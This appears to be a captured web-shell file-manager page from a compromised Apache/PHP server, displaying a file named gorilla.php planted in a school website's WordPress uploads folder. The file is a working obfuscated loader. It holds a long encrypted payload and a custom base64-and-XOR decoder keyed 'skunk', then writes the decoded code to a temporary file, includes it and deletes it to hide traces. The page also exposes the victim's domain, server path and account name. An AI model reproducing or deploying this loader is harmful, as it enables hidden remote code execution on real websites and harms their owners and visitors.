HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/uploads/2024/gorilla.php
<?php
$encrypted = 'T1QFBht-YQYLGAACGgA0AB8UHB9bQk5jYX5hUR4KABgzBwcWS0hOTBsfAR5RXEQCHkYVAhkLRh4KGw8MFhlbDQQeRBgdAxYHGTEIAQ4RQAEABBtJUH5heGREXEtYQ0ZTu-K-26PYpO668LvCvtGj21W_6qPVpdq7xrr1vt2j06XSu827xr7VU7ryvt6i66Xbu8RLFjs5P0tYQ0Z-YVENA1NWVQ0eAQcqBwUaH11KGxIYBigCHw5cVWZ5CAAcBywYEBoEAx9dSggbR1UtPiEnOj4_LDkwOj4hJSE8Kj04Mys5X0sBHB4WQk5jYRAeBwI0AA4BARsHQ1ENA19LNjs5PyQlOjQ1JDkiJCQnOi0qJyI6IEdTHwcbDlpQeGQIBhkZMRgWHxoeH1tPFgZHUyggPCc8OyExPiAuJy8sNiUhQktUJhoUAh8HFEFeXVtSR1B-YRYbGR80BgsfHBsBRk8QA1lOKCY5OSE7JzQhJyY2JCA6R1NaRUdQfmF4ZE8QBBsaDh0fVVNLEB4HAjQWExANQ1cIHUdQfmF4ZAIVS10NHgEHKgsZAQUaRk8QA1xHSwhmf05LU0sRBw5bSaXwuvu7zb7ao9Gl3ksQPiciUVNJVUBLEB4HAjQWGQcBGVtPFgZCWlB4ZBZ-YXhkTxsfAR4oHA8QTlZTCAAcBywMEBoCHQ0aRk8QA1lOKCY5OSclNSQqJj8nOyotJDcuXFVmeQgAHAcsCBkBGBZDUQ0DWlB4ZGZ5AhNOQ1cDARobMAQRC0tSVkhOWUNbVRIXU08WAQUHDhsaS05WSE4NEgcGC0JTEHhkS1NLVQoCFkNXvs-j26XXu8hLpdO7xkuk6bvLuve-26PepOy68rr6TrvLu86-01M-JyJLo9al27vHu8u_6qLppO27zLvAvtZJS1dORVNPBQ8YAC0cAg5aUHhkFn5heGREXEtYQ0ZTu-u-2qLrpd67wrvLv-mj0aXeSzk4OiBLXkZYY2FXDxQaClNWVQQYHAUqCg4QBBELQ1cIGgAfFgUBQksHGQALQkhmfwcNU0NRCgoHClVTVk5LGxsHH0JVFWZ5S1VOSxcCEEZJo_Wk5rvLu8S-0aPbVb_ro9ul2bvCu8u_66PbVSQ4PCVPTklTRVUEGBwFKgIKAB8qCxkBBAcxBgAMXUdCSGZ_E2Z5Zn9KGAcEBwsPOwoGBktOS1EKCgcKLkkbEhgGSTZTVEpOBQYHGVVmeQITTkNSTwYaBAEOESYKAANcThB-YVVOS1MPHAtDUbvQvt6i41W-1KPbpO67zbvOv-RTu8i-3lO7yL7bo9Kl2rvGu8hOu8FLPz0kPUVXR1B-YQhjYX5hWkFLXkZYTrvju8e_6aPVpO67y7vCvtui7aXWuvxLWENGfmEcCEtbTyo9LiE9MDwwVDkwPz42OCExJjY_PSEvVDZVU1ZOS1I-JCA_UkdLCGZ_TktTS1EHBQMeAT4KABgCARkXS0hOTyw7Oj0_KEwFDxgAHBocD1Q2VVFUU0xSVWZ5Zn9OS1NLHAhLW08GGgQBDhEmCgADVUhNUxsUHRgEBAcKNAUOBwcNCkNRBwUDHgE-CgAYAgEZF0dVShgHBAcLDzsKBgZCWksOY2FTS1VOS1NLVUo0IC4mPSI8JS5JCgYfHQsFBwIWDx8WD1IzS05LARweFlB4ZEtTS1VOS1NLHQsKFw4HRkw_BBYPHxoEG1RLVEtbTk8sODA8PTY5Lkk7OzsqPS4_LVIzQkhmf05LU0tVTktTDg0HH0hmf05LU0sITg4fGBBOEH5hVU5LU0tVTktXDgccBAFLSE5Jo_al27vBu8C_66PWpOW7ykul0bvDuvW-1aPQpOJFUVB4ZEtTS1UTZnkWeGRmeURaTkZeRlW--aLgpOu7zbvBTkZeRnhkAhVLXQcYAA4BRk8sLDA6MFQHGgkEBh9SM0JaSw5jYVNLVU4YFhgGBwQdNBELGAcZGhdDWlB4ZEtTS1UGDhIPEBxDUScaDQoHAhoAUVNJVUBLVzQmKzklLic1TCMjJTE4NiczSTZaUHhkS1NLVQsTGh9OY2EOZn9jYVxEVUNGXkulyrvNuvW-16PbVb7Zou6l0LvHu8VORl5GeGQCFUtdTwIAGBAaQ1c0Jis4ICI6IDBUCgAaAxYFAQcIEh8QCkwuQlUSF1NPKj0uIDg8ISUoTBQbHxsOGxoCEAoBCw9UNlVPVk5LARweFkJPY2FMVXhkV1IvOi0_KjswTgMHBhlQZnlXHRoGH1V4ZFcbDhQKVX5hVU5LU1cBBx8fDksDGBsOGQJXXB8cGgcWVXhkS1NLVVIYBxIZC1V-YVVOS1NLVU5LWUsOTgkcE1gdAgkCGwlRUwkaHA8WGVgMBAtQVQMKAQwcAFFTW05OGxIPEQcFFFFVXlBTFnhkS1NLVU5LU0sXAQ8KSw5jYVNLVU5LU0tVTktTSxcPCBgMBwEeHQ9YDQQfBAdUS1BaR14PQl9OY2FTS1VOS1NLVU5LU0sWAQccGU9OSBUKE14ORVB4ZEtTS1VOS1NLVU5LUw0aAB9eDRQDAh8ST05MOQ4BLBkSAhsdSz4EGwFMX0tSLQQGGRwLGVMlEBlMX0s2AR4BAhAcR1MGGgAEABsUDQ5IZn9OS1NLVU5LU0tVTksVBBsaRgACDwtRU1NFS1B-YVVOS1NLVU5LDmZ_TktTS1VOS1MDR0ADFgoRCxlTEHhkS1NLVU5LU0tVTktTDRoAH14YHBQOSUtEXFtWUHhkS1NLVU5LU0tVTktTCRQNABQZGhsFF0YWAQccGU9OSEVTQw9cRFB4ZEtTS1VOS1NLVU5LUxsUCg8aBRJUS0sbDVVmeUtVTktTS1VOS1NLVQ0EHwQHVEtQCEYMWhEPTmNhU0tVTktTS1VOS1NLAQsTB0YUAgIUBU9OCBYFAQsZSGZ_TktTS1VOS1MWeGRLU0tVTktTSxcbHwcEG04QfmFVTktTS1VOS1NLVU4JEggeCRkcHhsKRhAEGQEZSUsHCQkSQ0RWR1NaRlZHU1pHXEdTW1tZU1pQeGRLU0tVTktTS1VOS1MDEAcMGx9PTlhDGw1VZnlLVU5LU0tVTktTS1UNBB8EB1RLUC0zKFM3KE5jYVNLVU5LU0tVTktTSxgPGRQCG0MZGgwdGlFTWkUeE0hmf05LU0tVTktTS1VOSxEEBwoOAUYHDw8aHgZUS0AbDVVmeUtVTktTS1VOS1NLVQwEAQ8QHFFTBRoADkhmf05LU0tVTktTS1VOSwMKEQoCHQxPTl0DE1VfWQMTTmNhU0tVTktTS1VOS1NLEwEFB0YTDwYaBwxUS1QhEBopAQocABhTJhoABFRHVUkoHB4HBw4BSzsLHFRHVS0EBhkcCxlfSxgBBRwYBQ8IFlB4ZEtTS1VOS1NLVU5LUw0aAB9eGBwUDklLRFobC1B4ZEtTS1VOS1NLVU5LUwgAHBgcGU9OGxwCGxoOAVB4ZEtTS1VOS1NLVU5LUw8cHRsfCgxUSxUHEBZQfmFVTktTS1VOS1NLVU4fAQobHQIHAhoAUVMKGQJLQ0VEWxhTDhQdDkhmf05LU0tVTktTFnhkS1NLVU5LU0sXGx8HBBtUAxwdEBxLCGZ_TktTS1VOS1NLVU5LEQQNQxgbChEBHElLRU5ZAxNVVhsLSwcJCRJDQ1tHU11AQktFXllOW11cXFVmeUtVTktTS1VOS1NLVQwKEAASHAQGBRFDCBwHGhxRUxkSDApbWkZWR1NaTUJLR1NZTltdXE1HUH5hVU5LU0tVTksOZn9OS1NLVU5LUwIbHh4HSw5jYVNLVU5LU0tVTktTSxgPGRQCG1RLSxsNTltIZn9OS1NLVU5LU0tVTksDChEKAh0MT05TAxNOY2FTS1VOS1NLVU5LU0sCBw8HA09OWkNbUFVmeUtVTktTS1VOS1NLVQwKEAASHAQGBRFDCBwHGhxRU0hHClkXWRFVZnlLVU5LU0tVTktTS1UMBAEPEBxRU1oFFksABBkHD1NIQVpfSGZ_TktTS1VOS1NLVU5LEAQZARlJS1YIChVbEFhQfmFVTktTS1VOSw5mf05LU0tVTktTDRocBlMQeGRLU0tVTktTS1VOS1MJFA0AFBkaGwUXUVVNWhZaEF8OSGZ_TktTS1VOS1NLVU5LAwoRCgIdDE9OWUMbDVVmeUtVTktTS1VOS1NLVQwEAQ8QHEYBChEHHgBRVVYbC1B4ZEtTS1VOS1NLCGNhU0tVTktTS1VABxwMHABGBBkUHhsWGVUVZnlLVU5LU0tVTktTS1UKAgAbGQ8SSUsTAg4LUHhkS1NLVU5LU0tVTktTAQAdHxoNDEMIHAUBCwUHUVUNDh0fEBxQfmFVTktTS1VOS1NLVU4KHwISAEYaHxADGElLFgsFBw4HVWZ5S1VOS1NLVU5LU0tVBg4aDB0aUVNaRV4dG1B4ZEtTS1VOS1NLCGNhU0tVTldcGAEXBxZVeGRXXAMQDw9NZn9SCRwPDFBmeUtVTktPA0dOCB8KBh1WUQMQDw8WGVdQSx5LBk4DUw5VAksfV1oGWU1mf05LU0tJCgIFSxYCCgAYSEwHHAwcAEYEGRQeGxYZV1BmeUtVTktTS1VOVxUEBwNLHg4BBgQXVlc-JCA_V1BmeUtVTktTS1VOS1NLVVJUAwMFTgIVS11PDh4bARdDVw4HHAQBQlxODhADGk5JTxtVHR8KBxBTTBAEGQEZSUsHCw9ITEtKDgEZGhxXXBtLTFBTVEtjYVNLVU5LU0tVTktTS0kHBQMeAU4fChsQU0kDCgYdHBwZEUxLHQoYC1ZRGxQdGAQEBwpJUxsZDwgWAxoCDxYZSEw7EhgGGQQBD1dOGRYaAAcZFg9VDx4HBBMBCAYYS2NhU0tVTktTS1VOS1NLSQweBx8aAEsQBxQdGE5JFxsfBwQbQwcaABBMSwcSBQtWURgADAYaH1dQJxwMHABXXAkAGh8cBUtjYVNLVU5LU0tVUkQVBAcDVX5hVU5LU1daCgIFVXhkV1wJGgoSTWZ_UkQbHxgCVX5hSVEbGxt4ZEtTS1ULExofTmNhFgURBw1IZn8';
if (!function_exists('deer')) {
    function deer($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), deer($encrypted, 'skunk'));
include $tmp;
unlink($tmp);

?>